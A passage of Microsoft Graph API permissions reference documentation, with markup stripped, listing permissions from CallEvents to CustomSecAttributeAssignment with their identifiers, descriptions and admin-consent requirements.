    Identifier-43431c03-960e-400f-87c6-8f910321dca3
    DisplayText-Read call event data
    Description-Allows the app to read call event information for an organization for the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    CallEvents.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1abb026f-7572-49f6-9ddd-ad61cbba181e-
    DisplayTextRead all call events-
    DescriptionAllows the app to read call event information for all users in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    CallRecord-PstnCalls.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera2611786-80b3-417e-adaa-707d4261a5f0-
    DisplayTextRead PSTN and direct routing call log data-
    DescriptionAllows the app to read all PSTN and direct routing call log data without a signed-in user.-
    AdminConsentRequiredYes-
    + +

    The CallRecord-PstnCalls.Read.All permission grants an application access to PSTN (calling plans) and direct routing call logs. This includes potentially sensitive information about users as well as calls to and from external phone numbers.

    +
    +

    Important

    +
      +
    • Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
    • +
    • Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
    • +
    +
    +
    +

    CallRecords.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier45bbb07e-7321-4fd7-a8f6-3ff27e6a81c8-
    DisplayTextRead all call records-
    DescriptionAllows the app to read call records for all calls and online meetings without a signed-in user.-
    AdminConsentRequiredYes-
    + +

    The CallRecords.Read.All permission grants an application privileged access to callRecords for every call and online meeting within your organization, including calls to and from external phone numbers. This includes potentially sensitive details about who participated in the call, as well as technical information pertaining to these calls and meetings that can be used for network troubleshooting, such as IP addresses, device details, and other network information.

    +
    +

    Important

    +
      +
    • Discretion should be used when granting these permissions to applications. Call records can provide insights into the operation of your business, and so can be a target for malicious actors. Only grant these permissions to applications you trust to meet your data protection requirements.
    • +
    • Make sure that you are compliant with the laws and regulations in your area regarding data protection and confidentiality of communications. Please see the Terms of Use and consult with your legal counsel for more information.
    • +
    +
    +
    +

    Calls.AccessMedia.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera7a681dc-756e-4909-b988-f160edc6655f-
    DisplayTextAccess media streams in a call as an app-
    DescriptionAllows the app to get direct access to media streams in a call, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Calls.Initiate.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier284383ee-7f6e-4e40-a2a8-e85dcb029101-
    DisplayTextInitiate outgoing 1 to 1 calls from the app-
    DescriptionAllows the app to place outbound calls to a single user and transfer calls to users in your organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Calls.InitiateGroupCall.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4c277553-8a09-487b-8023-29ee378d8324-
    DisplayTextInitiate outgoing group calls from the app-
    DescriptionAllows the app to place outbound calls to multiple users and add participants to meetings in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Calls.JoinGroupCall.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf6b49018-60ab-4f81-83bd-22caeabfed2d-
    DisplayTextJoin group calls and meetings as an app-
    DescriptionAllows the app to join group calls and scheduled meetings in your organization, without a signed-in user.  The app will be joined with the privileges of a directory user to meetings in your organization.-
    AdminConsentRequiredYes-
    +
    +

    Calls.JoinGroupCallAsGuest.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfd7ccf6b-3d28-418b-9701-cd10f5cd2fd4-
    DisplayTextJoin group calls and meetings as a guest-
    DescriptionAllows the app to anonymously join group calls and scheduled meetings in your organization, without a signed-in user.  The app will be joined as a guest to meetings in your organization.-
    AdminConsentRequiredYes-
    +
    +

    Channel.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf3a65bd4-b703-46df-8f7e-0174fea562aa101147cf-4178-4455-9d58-02b5c164e759
    DisplayTextCreate channelsCreate channels
    DescriptionCreate channels in any team, without a signed-in user.Create channels in any team, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Channel.Delete.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6a118a39-1227-45d4-af0c-ea7b40d210bccc83893a-e232-4723-b5af-bd0b01bcfe65
    DisplayTextDelete channelsDelete channels
    DescriptionDelete channels in any team, without a signed-in user.Delete channels in any team, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Channel.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier59a6b24b-4225-4393-8165-ebaec5f55d7a9d8982ae-4365-4f57-95e9-d6032a4c0b87
    DisplayTextRead the names and descriptions of all channelsRead the names and descriptions of channels
    DescriptionRead all channel names and channel descriptions, without a signed-in user.Read channel names and channel descriptions, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    ChannelMember.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3b55498e-47ec-484f-8136-9013221c06a92eadaff8-0bce-4198-a6b9-2cfc35a30075
    DisplayTextRead the members of all channelsRead the members of channels
    DescriptionRead the members of all channels, without a signed-in user.Read the members of channels, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ChannelMember.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier35930dcf-aceb-4bd1-b99a-8ffed403c9740c3e411a-ce45-4cd1-8f30-f99a3efa7b11
    DisplayTextAdd and remove members from all channelsAdd and remove members from channels
    DescriptionAdd and remove members from all channels, without a signed-in user. Also allows changing a member's role, for example from owner to non-owner.Add and remove members from channels, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner.
    AdminConsentRequiredYesYes
    +
    +

    ChannelMessage.Edit

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2b61aa8a-6d36-4b2f-ac7b-f29867937c53
    DisplayText-Edit user's channel messages
    Description-Allows an app to edit channel messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    ChannelMessage.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7b2449af-6ccd-4f4d-9f78-e550c193f0d1767156cb-16ae-4d10-8f8b-41b657c8c8c8
    DisplayTextRead all channel messagesRead user channel messages
    DescriptionAllows the app to read all channel messages in Microsoft TeamsAllows an app to read a channel's messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ChannelMessage.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5922d31f-46c8-4404-9eaf-2117e390a8a4
    DisplayText-Read and write user channel messages
    Description-Allows the app to read and write channel messages, on behalf of the signed-in user. This doesn't allow the app to edit the policyViolation of a channel message.
    AdminConsentRequired-Yes
    +
    +

    ChannelMessage.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ebf0f66e-9fb1-49e4-a278-222f76911cf4
    DisplayText-Send channel messages
    Description-Allows an app to send channel messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    ChannelMessage.UpdatePolicyViolation.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4d02b0cc-d90b-441f-8d82-4fb55c34d6bb-
    DisplayTextFlag channel messages for violating policy-
    DescriptionAllows the app to update Microsoft Teams channel messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing.-
    AdminConsentRequiredYes-
    +
    +

    ChannelSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc97b873f-f59f-49aa-8a0e-52b32d762124233e0cf1-dd62-48bc-b65b-b38fe87fcf8e
    DisplayTextRead the names, descriptions, and settings of all channelsRead the names, descriptions, and settings of channels
    DescriptionRead all channel names, channel descriptions, and channel settings, without a signed-in user.Read all channel names, channel descriptions, and channel settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ChannelSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier243cded2-bd16-4fd6-a953-ff8177894c3dd649fb7c-72b4-4eec-b2b4-b15acf79e378
    DisplayTextRead and write the names, descriptions, and settings of all channelsRead and write the names, descriptions, and settings of channels
    DescriptionRead and write the names, descriptions, and settings of all channels, without a signed-in user.Read and write the names, descriptions, and settings of all channels, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Chat.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd9c48af6-9ad9-47ad-82c3-63757137b9af38826093-1258-4dea-98f0-00003be2b8d0
    DisplayTextCreate chatsCreate chats
    DescriptionAllows the app to create chats without a signed-in user. Allows the app to create chats on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Chat.ManageDeletion.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9c7abde0-eacd-4319-bf9e-35994b1a1717bb64e6fc-6b6d-4752-aea0-dd922dbba588
    DisplayTextDelete and recover deleted chatsDelete and recover deleted chats
    DescriptionAllows the app to delete and recover deleted chats, without a signed-in user.Allows the app to delete and recover deleted chats, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Chat.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f501c180-9344-439a-bca0-6cbf209fd270
    DisplayText-Read user chat messages
    Description-Allows an app to read 1 on 1 or group chats threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    Chat.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6b7d71aa-70aa-4810-a8d9-5d9fb2830017-
    DisplayTextRead all chat messages-
    DescriptionAllows the app to read all 1-to-1 or group chat messages in Microsoft Teams.-
    AdminConsentRequiredYes-
    +
    +

    Chat.Read.WhereInstalled

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1c1b4c8e-3cc7-4c58-8470-9b92c9d5848b-
    DisplayTextRead all chat messages for chats where the associated Teams application is installed.-
    DescriptionAllows the app to read all one-to-one or group chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Chat.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9547fcb5-d03f-419d-9948-5928bbf71b0f
    DisplayText-Read names and members of user chat threads
    Description-Allows an app to read the members and descriptions of one-to-one and group chat threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    Chat.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb2e060da-3baf-4687-9611-f4ebc0f0cbde-
    DisplayTextRead names and members of all chat threads-
    DescriptionRead names and members of all one-to-one and group chats in Microsoft Teams, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Chat.ReadBasic.WhereInstalled

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier818ba5bd-5b3e-4fe0-bbe6-aa4686669073-
    DisplayTextRead names and members of all chat threads where the associated Teams application is installed.-
    DescriptionAllows the app to read names and members of all one-to-one and group chats in Microsoft Teams where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Chat.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9ff7295e-131b-4d94-90e1-69fde507ac11
    DisplayText-Read and write user chat messages
    Description-Allows an app to read and write 1 on 1 or group chats threads, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    Chat.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier294ce7c9-31ba-490a-ad7d-97a7d075e4ed7e9a077b-3711-42b9-b7cb-5fa5f3f7fea7
    DisplayTextRead and write all chat messagesRead and write all chat messages
    DescriptionAllows an app to read and write all chat messages in Microsoft Teams, without a signed-in user.Allows an app to read and write all one-to-one and group chats in Microsoft Teams, without a signed-in user. Does not allow sending messages.
    AdminConsentRequiredYesYes
    +
    +

    Chat.ReadWrite.WhereInstalled

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierad73ce80-f3cd-40ce-b325-df12c33df713-
    DisplayTextRead and write all chat messages for chats where the associated Teams application is installed.-
    DescriptionAllows the app to read and write all chat messages in Microsoft Teams for chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Chat.UpdatePolicyViolation.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7e847308-e030-4183-9899-5235d7270f58-
    DisplayTextFlag chat messages for violating policy-
    DescriptionAllows the app to update Microsoft Teams 1-to-1 or group chat messages by patching a set of Data Loss Prevention (DLP) policy violation properties to handle the output of DLP processing.-
    AdminConsentRequiredYes-
    +
    +

    ChatMember.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c5a9e2b1-faf6-41d4-8875-d381aa549b24
    DisplayText-Read the members of chats
    Description-Read the members of chats, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ChatMember.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera3410be2-8e48-4f32-8454-c29a7465209d-
    DisplayTextRead the members of all chats-
    DescriptionRead the members of all chats, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ChatMember.Read.WhereInstalled

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier93e7c9e4-54c5-4a41-b796-f2a5adaacda7-
    DisplayTextRead the members of all chats where the associated Teams application is installed.-
    DescriptionAllows the app to read the members of all chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ChatMember.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-dea13482-7ea6-488f-8b98-eb5bbecf033d
    DisplayText-Add and remove members from chats
    Description-Add and remove members from chats, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ChatMember.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier57257249-34ce-4810-a8a2-a03adf0c5693-
    DisplayTextAdd and remove members from all chats-
    DescriptionAdd and remove members from all chats, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ChatMember.ReadWrite.WhereInstalled

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere32c2cd9-0124-4e44-88fc-772cd98afbdb-
    DisplayTextAdd and remove members from all chats where the associated Teams application is installed.-
    DescriptionAllows the app to add and remove members from all chats where the associated Teams application is installed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ChatMessage.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-cdcdac3a-fd45-410d-83ef-554db620e5c7
    DisplayText-Read user chat messages
    Description-Allows an app to read one-to-one and group chat messages, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    ChatMessage.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb9bb2381-47a4-46cd-aafb-00cb12f68504-
    DisplayTextRead all chat messages-
    DescriptionAllows the app to read all one-to-one and group chats messages in Microsoft Teams, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ChatMessage.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-116b7235-7cc6-461e-b163-8e55691d839e
    DisplayText-Send user chat messages
    Description-Allows an app to send one-to-one and group chat messages in Microsoft Teams, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    CloudApp-Discovery.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier64a59178-dad3-4673-89db-84fdcd622fecad46d60e-1027-4b75-af88-7c14ccf43a19
    DisplayTextRead all discovered cloud applications dataRead discovered cloud applications data
    DescriptionAllows the app to read all details of discovered cloud apps in the organization, without a signed-in user.Allows the app to read details of discovered cloud apps in the organization, on behalf of the signed in user.
    AdminConsentRequiredYesNo
    +
    +

    CloudPC.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera9e09520-8ed4-4cde-838e-4fdea192c2275252ec4e-fd40-4d92-8c68-89dd1d3c6110
    DisplayTextRead Cloud PCsRead Cloud PCs
    DescriptionAllows the app to read the properties of Cloud PCs, without a signed-in user.Allows the app to read the properties of Cloud PCs on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    CloudPC.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3b4349e1-8cf5-45a3-95b7-69d1751d3e6a9d77138f-f0e2-47ba-ab33-cd246c8b79d1
    DisplayTextRead and write Cloud PCsRead and write Cloud PCs
    DescriptionAllows the app to read and write the properties of Cloud PCs, without a signed-in user.Allows the app to read and write the properties of Cloud PCs on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Community.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier407f0cce-3212-441f-9f55-3bc91342cf8612ae2e92-14b5-47b2-babb-4e890bbedc0a
    DisplayTextRead all Viva Engage communitiesRead all Viva Engage communities
    DescriptionAllows the app to list Viva Engage communities, and to read their properties without a signed-in user.Allows the app to list Viva Engage communities, and to read their properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Community.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier35d59e32-eab5-4553-9345-abb62b4c703c9e69467d-e0e2-402b-a926-3d796990197f
    DisplayTextRead and write all Viva Engage communitiesRead and write all Viva Engage communities
    DescriptionAllows the app to create Viva Engage communities, read all community properties, update community properties, and delete communities without a signed-in user.Allows the app to create Viva Engage communities and read all community properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ConsentRequest.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f2143d35-9b4b-480d-951c-d083e69eeb2c
    DisplayText-Create consent requests
    Description-Allows the app to read create consent requests on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ConsentRequest.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5942b2f6-5a7b-40af-aa37-4b6ea5447506
    DisplayText-Read consent requests created by the user
    Description-Allows the app to read consent requests and approvals created by the signed-in user, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    ConsentRequest.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1260ad83-98fb-4785-abbb-d6cc1806fd41f3bfad56-966e-4590-a536-82ecf548ac1e
    DisplayTextRead all consent requestsRead consent requests
    DescriptionAllows the app to read consent requests and approvals without a signed-in user.Allows the app to read consent requests and approvals on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ConsentRequest.ReadApprove.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-e694a3a1-7878-46d8-8c29-3d195f6589f4
    DisplayText-Read and approve consent requests
    Description-Allows the app to read and approve consent requests on behalf of the signed in user.
    AdminConsentRequired-Yes
    +
    +

    ConsentRequest.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9f1b81a7-0223-4428-bfa4-0bcb5535f27d497d9dfa-3bd1-481a-baab-90895e54568c
    DisplayTextRead and write all consent requestsRead and write consent requests
    DescriptionAllows the app to read app consent requests and approvals, and deny or approve those requests without a signed-in user.Allows the app to read app consent requests and approvals, and deny or approve those requests on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Contacts.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier089fe4d0-434a-44c5-8827-41ba8a0b17f5ff74d97f-43af-4b68-9f2a-b77ee6968c5d
    DisplayTextRead contacts in all mailboxesRead user contacts
    DescriptionAllows the app to read all contacts in all mailboxes without a signed-in user.Allows the app to read user contacts.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Contacts.Read delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.Read application permission.

    +
    +

    Contacts.Read.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-242b9d9e-ed24-4d09-9a52-f43769beb9d4
    DisplayText-Read user and shared contacts
    Description-Allows the app to read contacts a user has permissions to access, including their own and shared contacts.
    AdminConsentRequired-No
    +
    +

    Contacts.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6918b873-d17a-4dc1-b314-35f528134491d56682ec-c09e-4743-aaf4-1a3aac4caa21
    DisplayTextRead and write contacts in all mailboxesHave full access to user contacts
    DescriptionAllows the app to create, read, update, and delete all contacts in all mailboxes without a signed-in user.Allows the app to create, read, update, and delete user contacts.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Contacts.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Contacts.ReadWrite application permission.

    +
    +

    Contacts.ReadWrite.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-afb6c84b-06be-49af-80bb-8f3f77004eab
    DisplayText-Read and write user and shared contacts
    Description-Allows the app to create, read, update, and delete contacts a user has permissions to, including their own and shared contacts.
    AdminConsentRequired-No
    +
    +

    CrossTenantInformation.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercac88765-0581-4025-9725-5ebc13f729ee81594d25-e88e-49cf-ac8c-fecbff49f994
    DisplayTextRead cross-tenant basic informationRead cross-tenant basic information
    DescriptionAllows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem without a signed-in user.Allows the application to obtain basic tenant information about another target tenant within the Azure AD ecosystem on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CrossTenantUserProfileSharing.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-cb1ba48f-d22b-4325-a07f-74135a62ee41
    DisplayText-Read shared cross-tenant user profile and export data
    Description-Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +

    personal Microsoft accounts The CrossTenantUserProfileSharing.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    CrossTenantUserProfileSharing.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8b919d44-6192-4f3d-8a3b-f86f8069ae3c759dcd16-3c90-463c-937e-abf89f991c18
    DisplayTextRead all shared cross-tenant user profiles and export their dataRead all shared cross-tenant user profiles and export their data
    DescriptionAllows the application to list and query any shared user profile information associated with the current tenant without a signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user.Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The CrossTenantUserProfileSharing.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    CrossTenantUserProfileSharing.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-eed0129d-dc60-4f30-8641-daf337a39ffd
    DisplayText-Read shared cross-tenant user profile and export or delete data
    Description-Allows the application to list and query user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    CrossTenantUserProfileSharing.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier306785c5-c09b-4ba0-a4ee-023f3da165cb64dfa325-cbf8-48e3-938d-51224a0cac01
    DisplayTextRead all shared cross-tenant user profiles and export or delete their dataRead all shared cross-tenant user profiles and export or delete their data
    DescriptionAllows the application to list and query any shared user profile information associated with the current tenant without a signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant without a signed-in user.Allows the application to list and query any shared user profile information associated with the current tenant on behalf of the signed-in user.  It also permits the application to export and remove external user data (e.g. customer content or system-generated logs), for any user associated with the current tenant on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomAuthenticationExtension.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier88bb2658-5d9e-454f-aacd-a3933e079526b2052569-c98c-4f36-a5fb-43e5c111e6d0
    DisplayTextRead all custom authentication extensionsRead your organization's custom authentication extensions
    DescriptionAllows the app to read your organization's custom authentication extensions without a signed-in user.Allows the app to read your organization's custom authentication extensions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomAuthenticationExtension.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc2667967-7050-4e7e-b059-4cbbb3811d038dfcf82f-15d0-43b3-bc78-a958a13a5792
    DisplayTextRead and write all custom authentication extensionsRead and write your organization's custom authentication extensions
    DescriptionAllows the app to read or write your organization's custom authentication extensions without a signed-in user.Allows the app to read or write your organization's custom authentication extensions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomAuthenticationExtension.Receive.Payload

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier214e810f-fda8-4fd7-a475-29461495eb00-
    DisplayTextReceive custom authentication extension HTTP requests-
    DescriptionAllows custom authentication extensions associated with the app to receive HTTP requests triggered by an authentication event. The request can include information about a user, client and resource service principals, and other information about the authentication.-
    AdminConsentRequiredYes-
    +
    +

    CustomDetection.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier673a007a-9e0f-4c97-b066-3c0164486909b13ff42e-f321-4d7d-a462-141c46a1b832
    DisplayTextRead all custom detection rulesRead custom detection rules
    DescriptionAllows the app to read custom detection rules without a signed-in user.Allows the app to read custom detection rules on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomDetection.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere0fd9c8d-a12e-4cc9-9827-20c8c3cd6fb8c34088fb-0649-4714-af0b-bcbfec155897
    DisplayTextRead and write all custom detection rulesRead and write custom detection rules
    DescriptionAllows the app to read and write custom detection rules without a signed-in user.Allows the app to read and write custom detection rules on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomSecAttributeAssignment.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3b37c5a4-1226-493d-bec3-5d6c6b866f3fb46ffa80-fe3d-4822-9a1a-c200932d54d0
    DisplayTextRead custom security attribute assignmentsRead custom security attribute assignments
    DescriptionAllows the app to read custom security attribute assignments for all principals in the tenant without a signed in user.Allows the app to read custom security attribute assignments for all principals in the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomSecAttributeAssignment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierde89b5e4-5b8f-48eb-8925-29c2b33bd8bdca46335e-8453-47cd-a001-8459884efeae
    DisplayTextRead and write custom security attribute assignmentsRead and write custom security attribute assignments
    DescriptionAllows the app to read and write custom security attribute assignments for all principals in the tenant without a signed in user.Allows the app to read and write custom security attribute assignments for all principals in the tenant on behalf of a signed in user.
